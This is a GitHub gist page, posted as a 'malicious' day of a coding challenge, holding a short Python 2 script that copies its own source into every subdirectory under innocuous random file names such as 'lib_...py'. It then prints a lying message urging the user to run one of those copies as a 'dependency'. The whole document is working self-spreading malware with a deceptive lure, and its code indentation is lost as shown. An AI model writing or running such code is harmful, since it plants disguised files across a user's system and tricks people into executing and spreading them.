Skip to content

Instantly share code, notes, and snippets.

@wkta
Created March 31, 2014 17:00
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save wkta/9896916 to your computer and use it in GitHub Desktop.
Save wkta/9896916 to your computer and use it in GitHub Desktop.
#MonthOfCode day 26 - malicious
# this code is awesome, you will see it everywhere!
import sys
import random
import os
alphabet = [chr(i) for i in range(ord('a'),ord('z') + 1) ]
def genRandomName():
name_length = random.randint(2,8)
lchar = list()
for i in xrange(name_length):
lchar.append( random.choice( alphabet) )
prfix = sfx = ''
if( random.choice((True,False)) ):
prfix = 'lib_'
else:
if( random.choice((True,False)) ):
sfx = '_ref'
else:
sfx = '_sample'
return prfix+(''.join( lchar) )+sfx+'.py'
inf = os.walk('.')
ll = [ x[0] for x in inf]
data = open( sys.argv[0], 'r').read()
for a_dir in ll:
last_fname = a_dir+'/'+genRandomName()
f = open( last_fname , 'w' )
f.write( data)
f.close()
print "This program has some dependencies, run "+last_fname+" first."
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment